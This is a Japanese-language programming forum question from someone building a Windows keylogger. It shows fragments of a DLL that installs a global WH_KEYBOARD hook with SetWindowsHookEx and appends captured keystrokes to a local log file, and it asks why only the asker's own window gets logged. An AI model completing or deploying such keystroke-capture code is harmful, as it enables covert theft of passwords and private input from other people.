Windows フックを使用してキーロガーを作成しています。コードは DLL 内にあります。入力された文字はファイルに書き込まれます。ただし、問題は、フォーカスがアプリケーション ウィンドウにあるとき以外の文字がファイルに記録されないことです。FILE * は共有メモリ セグメントで宣言されています。
#pragma data_seg("SHARED")
.
.
FILE* iFile = NULL;
#pragma data_seg()
フック関数内でファイルを開くと、すべて問題ないようです。
EXPORT LRESULT CALLBACK KHookProc(int nCode, WPARAM wparam, LPARAM lparam)
{
.
.
.
iFile = fopen("c:\\games\\log.txt","a+");
fwrite((char *)(&c),1,1,iFile);
fclose(iFile);
}
}
フック(すべてのプロセスに共通)の設定中にそれを開くと、アプリケーションのキーストロークがキャプチャされます。
EXPORT void SetKBHook()
{
if(hhook==NULL)
{
hhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KHookProc,g_hinstance,NULL);
if(hhook == NULL)
{
DWORD err = GetLastError();
err;
}
iFile = fopen("c:\\games\\log.txt","a+");
}
}
ヘルプ。誰でも?